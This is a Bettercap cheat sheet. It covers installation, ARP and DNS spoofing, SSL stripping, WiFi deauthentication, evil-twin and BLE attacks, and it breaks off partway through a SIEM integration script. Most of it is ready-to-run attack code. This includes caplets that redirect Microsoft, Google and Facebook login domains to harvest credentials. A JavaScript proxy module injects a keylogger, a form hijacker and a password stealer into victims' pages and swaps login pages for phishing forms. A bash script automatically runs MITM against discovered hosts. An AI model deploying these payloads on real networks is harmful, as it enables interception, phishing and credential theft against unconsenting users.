Skip to content

Bettercap Cheat Sheet

Overview

Bettercap is a powerful, modular, and portable network reconnaissance and MITM (Man-in-the-Middle) attack framework designed for security researchers, penetration testers, and network administrators. Originally developed as a modern replacement for Ettercap, Bettercap has evolved into a comprehensive network security testing platform that combines multiple attack vectors and reconnaissance techniques into a single, unified framework. The tool is written in Go, making it highly portable and efficient across different operating systems and architectures.

The framework's modular architecture allows users to load and execute specific modules for different types of network attacks and reconnaissance activities. Bettercap supports a wide range of protocols and attack techniques, including ARP spoofing, DNS spoofing, DHCP spoofing, wireless attacks, Bluetooth Low Energy (BLE) attacks, and HTTP/HTTPS proxy attacks. This comprehensive approach makes it an invaluable tool for security professionals who need to assess network security from multiple angles and identify vulnerabilities across different network layers.

One of Bettercap's key strengths is its real-time web-based user interface, which provides an intuitive dashboard for monitoring and controlling attacks. The web UI displays live network traffic, captured credentials, discovered hosts, and attack status in an easy-to-understand format. Additionally, Bettercap includes powerful scripting capabilities through its JavaScript engine, allowing users to create custom attack scenarios and automate complex testing procedures. With its active development community and regular updates, Bettercap continues to evolve as one of the most versatile and effective network security testing frameworks available.

Installation

Ubuntu/Debian Installation

Installing Bettercap on Ubuntu/Debian systems:

bash
# Update system packages
sudo apt update && sudo apt upgrade -y

# Install required dependencies
sudo apt install -y build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev \
    git wget curl

# Install Go (required for building from source)
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
source ~/.bashrc

# Verify Go installation
go version

# Install Bettercap using Go
go install github.com/bettercap/bettercap@latest

# Add Go bin to PATH
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc
source ~/.bashrc

# Alternative: Install pre-compiled binary
wget https://github.com/bettercap/bettercap/releases/latest/download/bettercap_linux_amd64_v2.32.0.zip
unzip bettercap_linux_amd64_v2.32.0.zip
sudo mv bettercap /usr/local/bin/
sudo chmod +x /usr/local/bin/bettercap

# Install UI dependencies (optional)
sudo apt install -y nodejs npm
sudo npm install -g @bettercap/ui

# Create bettercap user (optional)
sudo useradd -r -s /bin/false bettercap
sudo usermod -a -G bettercap $USER

# Set capabilities for non-root execution
sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

# Verify installation
bettercap -version

CentOS/RHEL Installation

bash
# Install EPEL repository
sudo yum install -y epel-release

# Install required packages
sudo yum groupinstall -y "Development Tools"
sudo yum install -y libpcap-devel libusb-devel libnetfilter_queue-devel \
    git wget curl

# Install Go
wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
source ~/.bashrc

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Set capabilities
sudo setcap cap_net_raw,cap_net_admin=eip $(go env GOPATH)/bin/bettercap

# Configure firewall
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --permanent --add-port=8080/tcp
sudo firewall-cmd --reload

macOS Installation

bash
# Install Homebrew (if not already installed)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install dependencies
brew install libpcap

# Install Go
brew install go

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Alternative: Install via Homebrew
brew install bettercap

# Verify installation
bettercap -version

Docker Installation

Running Bettercap in Docker:

bash
# Pull official Bettercap Docker image
docker pull bettercap/bettercap

# Run Bettercap in Docker with network access
docker run -it --rm --privileged --net=host \
    -v $(pwd):/app \
    bettercap/bettercap

# Run with web UI
docker run -it --rm --privileged --net=host \
    -p 80:80 -p 443:443 \
    -v $(pwd):/app \
    bettercap/bettercap \
    -iface eth0 -caplet http-ui

# Create custom Dockerfile
cat > Dockerfile.bettercap << 'EOF'
FROM golang:1.21-alpine AS builder

# Install dependencies
RUN apk add --no-cache git build-base libpcap-dev libusb-dev linux-headers

# Build Bettercap
RUN go install github.com/bettercap/bettercap@latest

FROM alpine:latest

# Install runtime dependencies
RUN apk add --no-cache libpcap libusb iptables

# Copy binary
COPY --from=builder /go/bin/bettercap /usr/local/bin/

# Create working directory
WORKDIR /app

# Expose ports
EXPOSE 80 443 8080

# Default command
CMD ["bettercap"]
EOF

# Build custom image
docker build -f Dockerfile.bettercap -t custom-bettercap .

# Run custom image
docker run -it --rm --privileged --net=host custom-bettercap

Windows Installation

powershell
# Install using Chocolatey
choco install golang
choco install git

# Install Bettercap
go install github.com/bettercap/bettercap@latest

# Alternative: Download pre-compiled binary
# Download from: https://github.com/bettercap/bettercap/releases
# Extract to C:\Program Files\Bettercap\

# Install WinPcap or Npcap (required for packet capture)
# Download from: https://npcap.com/

# Add to PATH
$env:PATH += ";C:\Program Files\Bettercap"

# Verify installation
bettercap.exe -version

Basic Usage

Network Discovery

Basic network reconnaissance and discovery:

bash
# Start Bettercap with automatic interface detection
sudo bettercap

# Specify network interface
sudo bettercap -iface eth0

# Enable network discovery
sudo bettercap -iface eth0
> net.probe on
> net.show

# Discover hosts with specific probes
> set net.probe.mdns true
> set net.probe.nbns true
> set net.probe.upnp true
> set net.probe.wsd true
> net.probe on

# Show discovered hosts
> hosts.show

# Show network statistics
> net.stats

# Continuous host discovery
> set ticker.period 1
> set ticker.commands "clear; net.show; hosts.show"
> ticker on

# Save discovered hosts
> hosts.save /tmp/discovered_hosts.json

# Load previously saved hosts
> hosts.load /tmp/discovered_hosts.json

ARP Spoofing

Performing ARP spoofing attacks:

bash
# Basic ARP spoofing setup
sudo bettercap -iface eth0

# Enable ARP spoofing for entire subnet
> arp.spoof on

# Target specific hosts
> set arp.spoof.targets 192.168.1.100,192.168.1.101
> arp.spoof on

# Spoof specific gateway
> set arp.spoof.fullduplex false
> set arp.spoof.targets 192.168.1.1
> arp.spoof on

# Monitor ARP spoofing status
> arp.spoof.stats

# Advanced ARP spoofing with custom intervals
> set arp.spoof.interval 1s
> set arp.spoof.silent false
> arp.spoof on

# Whitelist specific hosts (exclude from spoofing)
> set arp.spoof.whitelist 192.168.1.50,192.168.1.51
> arp.spoof on

# Stop ARP spoofing
> arp.spoof off

# Ban specific hosts (disconnect them)
> arp.ban 192.168.1.100
> arp.unban 192.168.1.100

DNS Spoofing

DNS spoofing and redirection:

bash
# Enable DNS spoofing
sudo bettercap -iface eth0
> dns.spoof on

# Spoof specific domains
> set dns.spoof.domains example.com,*.google.com
> set dns.spoof.address 192.168.1.50
> dns.spoof on

# Use custom DNS spoofing rules
> set dns.spoof.hosts /tmp/dns_hosts.txt
> dns.spoof on

# Create custom DNS hosts file
cat > /tmp/dns_hosts.txt << 'EOF'
# Custom DNS spoofing rules
example.com 192.168.1.50
*.facebook.com 192.168.1.51
login.microsoft.com 192.168.1.52
EOF

# Advanced DNS spoofing with logging
> set dns.spoof.silent false
> set dns.spoof.domains *
> dns.spoof on

# Monitor DNS queries
> events.stream on

# Stop DNS spoofing
> dns.spoof off

HTTP/HTTPS Proxy

Setting up HTTP/HTTPS proxy for traffic interception:

bash
# Enable HTTP proxy
sudo bettercap -iface eth0
> http.proxy on

# Enable HTTPS proxy with SSL stripping
> https.proxy on
> set https.proxy.sslstrip true

# Custom proxy port
> set http.proxy.port 8080
> set https.proxy.port 8443
> http.proxy on
> https.proxy on

# Inject custom JavaScript
> set http.proxy.script /tmp/inject.js
> http.proxy on

# Create JavaScript injection script
cat > /tmp/inject.js << 'EOF'
function onRequest(req, res) {
    log("Request: " + req.Method + " " + req.URL);
    
    // Log headers
    for (var name in req.Headers) {
        log("Header: " + name + " = " + req.Headers[name]);
    }
}

function onResponse(req, res) {
    log("Response: " + res.Status + " for " + req.URL);
    
    // Inject custom content
    if (res.ContentType.indexOf("text/html") == 0) {
        var body = res.ReadBody();
        var newBody = body.replace("</body>", 
            "<script>alert('Injected by Bettercap');</script></body>");
        res.Body = newBody;
    }
}
EOF

# Monitor proxy traffic
> events.stream on

# Save captured data
> http.proxy.dump /tmp/http_traffic.log

Advanced Features

Wireless Attacks

WiFi reconnaissance and attacks:

bash
# Enable WiFi monitoring mode (requires compatible adapter)
sudo bettercap -iface wlan0

# Start WiFi reconnaissance
> wifi.recon on

# Show discovered access points
> wifi.show

# Show connected clients
> wifi.show.clients

# Target specific access point
> wifi.recon.channel 6
> set wifi.recon.channel 6
> wifi.recon on

# Deauthentication attack
> set wifi.deauth.targets aa:bb:cc:dd:ee:ff
> wifi.deauth

# Handshake capture
> set wifi.handshakes.file /tmp/handshakes.pcap
> wifi.recon on

# Evil twin attack
> set wifi.ap.ssid "Free WiFi"
> set wifi.ap.bssid aa:bb:cc:dd:ee:ff
> set wifi.ap.channel 6
> wifi.ap

# WPS attacks
> wifi.recon on
> wifi.show
> set wifi.wps.targets aa:bb:cc:dd:ee:ff
> wifi.wps

# Monitor WiFi events
> events.stream on

Bluetooth Low Energy (BLE) Attacks

BLE reconnaissance and attacks:

bash
# Enable BLE reconnaissance
sudo bettercap
> ble.recon on

# Show discovered BLE devices
> ble.show

# Enumerate BLE device services
> ble.enum aa:bb:cc:dd:ee:ff

# Write to BLE characteristics
> ble.write aa:bb:cc:dd:ee:ff 1800 2a00 "payload"

# Clone BLE device
> set ble.clone.target aa:bb:cc:dd:ee:ff
> ble.clone

# Monitor BLE events
> events.stream on

# Save BLE scan results
> ble.save /tmp/ble_devices.json

Custom Caplets

Creating and using custom caplets (automation scripts):

bash
# Create basic reconnaissance caplet
cat > /tmp/recon.cap << 'EOF'
# Basic network reconnaissance caplet

# Set interface
set $ {by_name eth0}

# Enable network discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
net.probe on

# Enable ARP spoofing for entire subnet
arp.spoof on

# Enable DNS spoofing
set dns.spoof.domains *
set dns.spoof.address {interface.ipv4}
dns.spoof on

# Enable HTTP proxy
set http.proxy.script /tmp/inject.js
http.proxy on

# Enable HTTPS proxy with SSL stripping
set https.proxy.sslstrip true
https.proxy on

# Start event streaming
events.stream on

# Display status every 5 seconds
set ticker.period 5
set ticker.commands "clear; net.show; hosts.show"
ticker on
EOF

# Run caplet
sudo bettercap -caplet /tmp/recon.cap

# Create advanced MITM caplet
cat > /tmp/mitm.cap << 'EOF'
# Advanced MITM attack caplet

# Variables
set $TARGET 192.168.1.100
set $GATEWAY 192.168.1.1
set $INTERFACE eth0

# Set interface
set $ {by_name $INTERFACE}

# Target specific host
set arp.spoof.targets $TARGET
set arp.spoof.fullduplex true
arp.spoof on

# DNS spoofing for specific domains
set dns.spoof.domains facebook.com,*.facebook.com,google.com,*.google.com
set dns.spoof.address {interface.ipv4}
dns.spoof on

# HTTP/HTTPS proxy with custom script
set http.proxy.script /tmp/advanced_inject.js
http.proxy on

set https.proxy.sslstrip true
set https.proxy.script /tmp/advanced_inject.js
https.proxy on

# Logging
set http.proxy.dump /tmp/http_dump.log
set https.proxy.dump /tmp/https_dump.log

# Events
events.stream on
EOF

# Create credential harvesting caplet
cat > /tmp/harvest.cap << 'EOF'
# Credential harvesting caplet

# Set interface
set $ {by_name eth0}

# ARP spoofing
arp.spoof on

# DNS spoofing to redirect login pages
set dns.spoof.domains login.microsoft.com,accounts.google.com,www.facebook.com
set dns.spoof.address {interface.ipv4}
dns.spoof on

# HTTP proxy with credential extraction
set http.proxy.script /tmp/harvest.js
http.proxy on

# HTTPS proxy
set https.proxy.sslstrip true
set https.proxy.script /tmp/harvest.js
https.proxy on

# Start web server for phishing pages
set http.server.path /tmp/phishing
set http.server.port 80
http.server on

events.stream on
EOF

# Run specific caplet
sudo bettercap -caplet /tmp/mitm.cap -iface eth0

JavaScript Modules

Advanced JavaScript modules for custom attacks:

javascript
// Advanced HTTP/HTTPS injection script
// File: /tmp/advanced_inject.js

var credentials = [];
var sessions = {};

function onLoad() {
    log("Advanced injection module loaded");
}

function onRequest(req, res) {
    var url = req.URL;
    var method = req.Method;
    var host = req.Hostname;
    
    log("[" + method + "] " + host + url);
    
    // Log interesting headers
    if (req.Headers["Authorization"]) {
        log("Authorization header found: " + req.Headers["Authorization"]);
    }
    
    if (req.Headers["Cookie"]) {
        log("Cookies: " + req.Headers["Cookie"]);
        sessions[host] = req.Headers["Cookie"];
    }
    
    // Extract POST data for credential harvesting
    if (method == "POST" && req.Body) {
        var body = req.ReadBody();
        log("POST data: " + body);
        
        // Look for common credential fields
        if (body.indexOf("password") != -1 || body.indexOf("passwd") != -1) {
            log("Potential credentials captured: " + body);
            credentials.push({
                host: host,
                url: url,
                data: body,
                timestamp: new Date().toISOString()
            });
            
            // Save credentials to file
            writeFile("/tmp/credentials.json", JSON.stringify(credentials, null, 2));
        }
    }
}

function onResponse(req, res) {
    var contentType = res.ContentType;
    var url = req.URL;
    var host = req.Hostname;
    
    log("Response: " + res.Status + " for " + url);
    
    // Inject into HTML pages
    if (contentType.indexOf("text/html") == 0) {
        var body = res.ReadBody();
        
        // Inject keylogger
        var keylogger = `
            <script>
                var keys = [];
                document.addEventListener('keydown', function(e) {
                    keys.push({
                        key: e.key,
                        timestamp: new Date().toISOString(),
                        url: window.location.href
                    });
                    
                    // Send to attacker server every 50 keystrokes
                    if (keys.length >= 50) {
                        fetch('/keylog', {
                            method: 'POST',
                            body: JSON.stringify(keys),
                            headers: {'Content-Type': 'application/json'}
                        });
                        keys = [];
                    }
                });
                
                // Send on page unload
                window.addEventListener('beforeunload', function() {
                    if (keys.length > 0) {
                        navigator.sendBeacon('/keylog', JSON.stringify(keys));
                    }
                });
            </script>
        `;
        
        // Inject form hijacker
        var formHijacker = `
            <script>
                document.addEventListener('DOMContentLoaded', function() {
                    var forms = document.querySelectorAll('form');
                    forms.forEach(function(form) {
                        form.addEventListener('submit', function(e) {
                            var formData = new FormData(form);
                            var data = {};
                            for (var pair of formData.entries()) {
                                data[pair[0]] = pair[1];
                            }
                            
                            fetch('/formdata', {
                                method: 'POST',
                                body: JSON.stringify({
                                    url: window.location.href,
                                    data: data,
                                    timestamp: new Date().toISOString()
                                }),
                                headers: {'Content-Type': 'application/json'}
                            });
                        });
                    });
                });
            </script>
        `;
        
        // Inject scripts before closing body tag
        body = body.replace("</body>", keylogger + formHijacker + "</body>");
        
        // Replace login pages with phishing pages
        if (url.indexOf("login") != -1 || url.indexOf("signin") != -1) {
            body = createPhishingPage(host, url);
        }
        
        res.Body = body;
    }
    
    // Modify JavaScript files
    if (contentType.indexOf("application/javascript") == 0 || 
        contentType.indexOf("text/javascript") == 0) {
        var body = res.ReadBody();
        
        // Inject malicious code into JavaScript
        var maliciousCode = `
            // Injected by Bettercap
            setInterval(function() {
                if (document.querySelector('input[type="password"]')) {
                    var passwords = document.querySelectorAll('input[type="password"]');
                    passwords.forEach(function(p) {
                        if (p.value) {
                            fetch('/password', {
                                method: 'POST',
                                body: JSON.stringify({
                                    url: window.location.href,
                                    password: p.value,
                                    timestamp: new Date().toISOString()
                                }),
                                headers: {'Content-Type': 'application/json'}
                            });
                        }
                    });
                }
            }, 5000);
        `;
        
        body = maliciousCode + "\n" + body;
        res.Body = body;
    }
}

function createPhishingPage(host, url) {
    return `
        <!DOCTYPE html>
        <html>
        <head>
            <title>Login - ${host}</title>
            <style>
                body { font-family: Arial, sans-serif; margin: 50px; }
                .login-form { max-width: 400px; margin: 0 auto; padding: 20px; border: 1px solid #ddd; }
                input { width: 100%; padding: 10px; margin: 10px 0; }
                button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>Sign In</h2>
                <form action="/phish" method="POST">
                    <input type="hidden" name="original_url" value="${url}">
                    <input type="text" name="username" placeholder="Username" required>
                    <input type="password" name="password" placeholder="Password" required>
                    <button type="submit">Sign In</button>
                </form>
            </div>
            <script>
                document.querySelector('form').addEventListener('submit', function(e) {
                    e.preventDefault();
                    var formData = new FormData(this);
                    var data = {};
                    for (var pair of formData.entries()) {
                        data[pair[0]] = pair[1];
                    }
                    
                    fetch('/phish', {
                        method: 'POST',
                        body: JSON.stringify(data),
                        headers: {'Content-Type': 'application/json'}
                    }).then(function() {
                        window.location.href = data.original_url;
                    });
                });
            </script>
        </body>
        </html>
    `;
}

function writeFile(path, content) {
    // This is a placeholder - actual file writing would need to be implemented
    // in the Bettercap JavaScript engine
    log("Writing to file: " + path);
}

Network Monitoring

Advanced network monitoring and analysis:

bash
# Create comprehensive monitoring caplet
cat > /tmp/monitor.cap << 'EOF'
# Network monitoring caplet

# Set interface
set $ {by_name eth0}

# Enable comprehensive network discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true
set net.probe.throttle 100
net.probe on

# Enable packet sniffing
set net.sniff.verbose true
set net.sniff.local true
set net.sniff.filter "tcp port 80 or tcp port 443 or tcp port 21 or tcp port 22"
set net.sniff.output /tmp/captured_packets.pcap
net.sniff on

# Monitor specific protocols
set syn.scan.targets 192.168.1.0/24
set syn.scan.ports 22,80,443,3389,5900
syn.scan

# Enable GPS tracking (if available)
gps on

# Set up event logging
events.stream on
set events.stream.output /tmp/bettercap_events.log

# Display comprehensive status
set ticker.period 10
set ticker.commands "clear; net.show; hosts.show; syn.scan.show"
ticker on
EOF

# Run monitoring caplet
sudo bettercap -caplet /tmp/monitor.cap

# Real-time traffic analysis
sudo bettercap -iface eth0
> set net.sniff.verbose true
> set net.sniff.regexp ".*password.*|.*login.*|.*auth.*"
> net.sniff on

# Protocol-specific monitoring
> set net.sniff.filter "tcp port 21"  # FTP
> set net.sniff.filter "tcp port 23"  # Telnet
> set net.sniff.filter "tcp port 110" # POP3
> set net.sniff.filter "tcp port 143" # IMAP
> net.sniff on

Automation Scripts

Comprehensive Attack Script

bash
#!/bin/bash
# Comprehensive Bettercap automation script

# Configuration
INTERFACE="eth0"
TARGET_NETWORK="192.168.1.0/24"
ATTACK_TYPE="mitm"
OUTPUT_DIR="/tmp/bettercap_$(date +%Y%m%d_%H%M%S)"
LOG_FILE="$OUTPUT_DIR/attack.log"

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Logging function
log_message() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" | tee -a "$LOG_FILE"
}

# Check if running as root
check_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "This script must be run as root"
        exit 1
    fi
}

# Check dependencies
check_dependencies() {
    log_message "Checking dependencies..."
    
    if ! command -v bettercap >/dev/null 2>&1; then
        log_message "ERROR: Bettercap not found"
        exit 1
    fi
    
    if ! ip link show "$INTERFACE" >/dev/null 2>&1; then
        log_message "ERROR: Interface $INTERFACE not found"
        exit 1
    fi
    
    log_message "Dependencies check passed"
}

# Network reconnaissance
network_recon() {
    log_message "Starting network reconnaissance..."
    
    cat > "$OUTPUT_DIR/recon.cap" << EOF
# Network reconnaissance caplet
set \$ {by_name $INTERFACE}

# Enable comprehensive discovery
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true
net.probe on

# Save discovered hosts
hosts.save $OUTPUT_DIR/discovered_hosts.json

# Port scanning
set syn.scan.targets $TARGET_NETWORK
set syn.scan.ports 22,23,25,53,80,110,143,443,993,995,3389,5900
syn.scan

# Save scan results
syn.scan.save $OUTPUT_DIR/port_scan.json

# Run for 60 seconds
sleep 60

# Stop and exit
net.probe off
quit
EOF

    timeout 120 bettercap -caplet "$OUTPUT_DIR/recon.cap" 2>&1 | tee -a "$LOG_FILE"
    
    log_message "Network reconnaissance completed"
}

# MITM attack
mitm_attack() {
    local target="$1"
    
    log_message "Starting MITM attack against $target..."
    
    cat > "$OUTPUT_DIR/mitm.cap" << EOF
# MITM attack caplet
set \$ {by_name $INTERFACE}

# Target specific host
set arp.spoof.targets $target
set arp.spoof.fullduplex true
arp.spoof on

# DNS spoofing
set dns.spoof.domains *
set dns.spoof.address {interface.ipv4}
dns.spoof on

# HTTP proxy with logging
set http.proxy.script $OUTPUT_DIR/inject.js
set http.proxy.dump $OUTPUT_DIR/http_traffic.log
http.proxy on

# HTTPS proxy with SSL stripping
set https.proxy.sslstrip true
set https.proxy.script $OUTPUT_DIR/inject.js
set https.proxy.dump $OUTPUT_DIR/https_traffic.log
https.proxy on

# Packet capture
set net.sniff.output $OUTPUT_DIR/packets.pcap
set net.sniff.verbose false
net.sniff on

# Event logging
events.stream on
set events.stream.output $OUTPUT_DIR/events.log

# Status updates
set ticker.period 30
set ticker.commands "hosts.show; arp.spoof.stats"
ticker on
EOF

    # Create injection script
    cat > "$OUTPUT_DIR/inject.js" << 'EOF'
var credentials = [];

function onRequest(req, res) {
    log("[REQ] " + req.Method + " " + req.URL);
    
    if (req.Method == "POST" && req.Body) {
        var body = req.ReadBody();
        if (body.indexOf("password") != -1 || body.indexOf("login") != -1) {
            log("Potential credentials: " + body);
            credentials.push({
                url: req.URL,
                data: body,
                timestamp: new Date().toISOString()
            });
        }
    }
}

function onResponse(req, res) {
    if (res.ContentType.indexOf("text/html") == 0) {
        var body = res.ReadBody();
        var injection = '<script>console.log("Injected by Bettercap");</script>';
        body = body.replace("</body>", injection + "</body>");
        res.Body = body;
    }
}
EOF

    # Run MITM attack
    bettercap -caplet "$OUTPUT_DIR/mitm.cap" 2>&1 | tee -a "$LOG_FILE" &
    BETTERCAP_PID=$!
    
    log_message "MITM attack started (PID: $BETTERCAP_PID)"
    
    # Run for specified duration or until interrupted
    local duration=${ATTACK_DURATION:-300}  # 5 minutes default
    sleep "$duration"
    
    # Stop attack
    kill $BETTERCAP_PID 2>/dev/null
    log_message "MITM attack stopped"
}

# WiFi attacks
wifi_attack() {
    local wifi_interface="$1"
    
    log_message "Starting WiFi attacks on $wifi_interface..."
    
    cat > "$OUTPUT_DIR/wifi.cap" << EOF
# WiFi attack caplet
set \$ {by_name $wifi_interface}

# WiFi reconnaissance
wifi.recon on

# Save discovered networks
wifi.save $OUTPUT_DIR/wifi_networks.json

# Handshake capture
set wifi.handshakes.file $OUTPUT_DIR/handshakes.pcap

# Run for 5 minutes
sleep 300

# Stop and save
wifi.recon off
quit
EOF

    timeout 360 bettercap -caplet "$OUTPUT_DIR/wifi.cap" 2>&1 | tee -a "$LOG_FILE"
    
    log_message "WiFi attacks completed"
}

# Generate report
generate_report() {
    log_message "Generating attack report..."
    
    local report_file="$OUTPUT_DIR/attack_report.html"
    
    cat > "$report_file" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Bettercap Attack Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .section { margin: 20px 0; padding: 15px; border: 1px solid #ddd; }
        .data { background: #f5f5f5; padding: 10px; font-family: monospace; }
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
    </style>
</head>
<body>
    <h1>Bettercap Attack Report</h1>
    <p>Generated: $(date)</p>
    <p>Target Network: $TARGET_NETWORK</p>
    <p>Interface: $INTERFACE</p>
    
    <div class="section">
        <h2>Discovered Hosts</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
        cat "$OUTPUT_DIR/discovered_hosts.json" >> "$report_file"
    else
        echo "No hosts discovered" >> "$report_file"
    fi
    
    cat >> "$report_file" << EOF
        </div>
    </div>
    
    <div class="section">
        <h2>Port Scan Results</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/port_scan.json" ]; then
        cat "$OUTPUT_DIR/port_scan.json" >> "$report_file"
    else
        echo "No port scan results" >> "$report_file"
    fi
    
    cat >> "$report_file" << EOF
        </div>
    </div>
    
    <div class="section">
        <h2>Captured Traffic Summary</h2>
        <div class="data">
EOF

    if [ -f "$OUTPUT_DIR/http_traffic.log" ]; then
        echo "HTTP Requests: $(wc -l < "$OUTPUT_DIR/http_traffic.log")" >> "$report_file"
    fi
    
    if [ -f "$OUTPUT_DIR/https_traffic.log" ]; then
        echo "HTTPS Requests: $(wc -l < "$OUTPUT_DIR/https_traffic.log")" >> "$report_file"
    fi
    
    if [ -f "$OUTPUT_DIR/packets.pcap" ]; then
        echo "Captured Packets: $(tcpdump -r "$OUTPUT_DIR/packets.pcap" 2>/dev/null | wc -l)" >> "$report_file"
    fi
    
    cat >> "$report_file" << EOF
        </div>
    </div>
    
    <div class="section">
        <h2>Attack Log</h2>
        <div class="data">
            <pre>$(tail -n 50 "$LOG_FILE")</pre>
        </div>
    </div>
</body>
</html>
EOF

    log_message "Report generated: $report_file"
}

# Cleanup function
cleanup() {
    log_message "Cleaning up..."
    
    # Kill any running Bettercap processes
    pkill -f bettercap 2>/dev/null
    
    # Reset network settings
    echo 0 > /proc/sys/net/ipv4/ip_forward 2>/dev/null
    
    log_message "Cleanup completed"
}

# Signal handlers
trap cleanup EXIT
trap cleanup INT
trap cleanup TERM

# Main execution
main() {
    log_message "Starting Bettercap automation script"
    
    check_root
    check_dependencies
    
    # Enable IP forwarding
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
    case "$ATTACK_TYPE" in
        "recon")
            network_recon
            ;;
        "mitm")
            network_recon
            
            # Extract targets from reconnaissance
            if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
                # Get first discovered host as target
                local target=$(grep -o '"ip":"[^"]*"' "$OUTPUT_DIR/discovered_hosts.json" | head -n 1 | cut -d'"' -f4)
                if [ -n "$target" ]; then
                    mitm_attack "$target"
                fi
            fi
            ;;
        "wifi")
            wifi_attack "wlan0"
            ;;
        "full")
            network_recon
            
            if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
                local target=$(grep -o '"ip":"[^"]*"' "$OUTPUT_DIR/discovered_hosts.json" | head -n 1 | cut -d'"' -f4)
                if [ -n "$target" ]; then
                    mitm_attack "$target"
                fi
            fi
            
            # WiFi attacks if interface available
            if ip link show wlan0 >/dev/null 2>&1; then
                wifi_attack "wlan0"
            fi
            ;;
        *)
            log_message "Unknown attack type: $ATTACK_TYPE"
            exit 1
            ;;
    esac
    
    generate_report
    log_message "Attack completed. Results in: $OUTPUT_DIR"
}

# Parse command line arguments
while [[ $# -gt 0 ]]; do
    case $1 in
        -i|--interface)
            INTERFACE="$2"
            shift 2
            ;;
        -t|--target)
            TARGET_NETWORK="$2"
            shift 2
            ;;
        -a|--attack)
            ATTACK_TYPE="$2"
            shift 2
            ;;
        -d|--duration)
            ATTACK_DURATION="$2"
            shift 2
            ;;
        -h|--help)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  -i, --interface IFACE    Network interface (default: eth0)"
            echo "  -t, --target NETWORK     Target network (default: 192.168.1.0/24)"
            echo "  -a, --attack TYPE        Attack type: recon|mitm|wifi|full (default: mitm)"
            echo "  -d, --duration SECONDS   Attack duration (default: 300)"
            echo "  -h, --help               Show this help"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

# Run main function
main

Integration Examples

SIEM Integration

python
#!/usr/bin/env python3
# Bettercap SIEM integration script

import json
import time
import requests
import subprocess
from datetime import datetime
import logging

class BettercapSIEMIntegration:
    def __init__(self, config):
        self.config = config
        self.setup_logging()
        
    def setup_logging(self):
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('/var/log/bettercap_siem.log'),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger(__name__)
    
    def parse_bettercap_events(self, events_file):
        """Parse Bettercap events log file"""
        events = []
        
        try:
            with open(events_file, 'r') as f:
                for line in f:
                    if line.strip():
                        try:
                            event = json.loads(line)
                            events.append(self.normalize_event(event))
                        except json.JSONDecodeError:
                            # Handle non-JSON log lines
                            events.append(self.parse_text_event(line))
            
        except FileNotFoundError:
            self.logger.error(f"Events file not found: {events_file}")
        
        return events
    
    def normalize_event(self, event):
        """Normalize Bettercap event to common format"""
        normalized = {
            'timestamp': event.get('time', datetime.now().isoformat()),
            'source': 'bettercap',
            'event_type': event.get('tag', 'unknown'),
            'severity': self.determine_severity(event),
            'raw_event': event
        }
        
        # Extract specific fields based on event type
        tag = event.get('tag', '')
        
        if tag == 'net.sniff':
            normalized.update({
                'src_ip': event.get('data', {}).get('src'),
                'dst_ip': event.get('data', {}).get('dst'),
                'protocol': event.get('data', {}).get('protocol'),
                'payload': event.get('data', {}).get('payload')
            })
        
        elif tag == 'arp.spoof':
            normalized.update({
                'target_ip': event.get('data', {}).get('target'),
                'gateway_ip': event.get('data', {}).get('gateway'),
                'attack_type': 'arp_spoofing'
            })
        
        elif tag == 'dns.spoof':
            normalized.update({
                'domain': event.get('data', {}).get('domain'),
                'spoofed_ip': event.get('data', {}).get('address'),
                'attack_type': 'dns_spoofing'
            })
        
        elif tag == 'http.proxy':
            normalized.update({
                'method': event.get('data', {}).get('method'),
                'url': event.get('data', {}).get('url'),
                'user_agent': event.get('data', {}).get('user_agent'),
                'attack_type': 'http_interception'
            })
        
        return normalized
    
    def parse_text_event(self, line):
        """Parse non-JSON log lines"""
        return {
            'timestamp': datetime.now().isoformat(),
            'source': 'bettercap',
            'event_type': 'log',
            'severity': 'info',
            'message': line.strip()
        }
    
    def determine_severity(self, event):
        """Determine event severity"""
        tag = event.get('tag', '')
        
        high_severity_tags = ['arp.spoof', 'dns.spoof', 'wifi.deauth', 'ble.attack']
        medium_severity_tags = ['http.proxy', 'https.proxy', 'net.sniff']
        
        if tag in high_severity_tags:
            return 'high'
        elif tag in medium_severity_tags:
            return 'medium'
        else:
            return 'low'
    
    def send_to_splunk(self, events):
        """Send events to Splunk via HEC"""
        if not self.config.get('splunk', {}).get('enabled', False):
            return
        
        splunk_config = self.config['splunk']
        
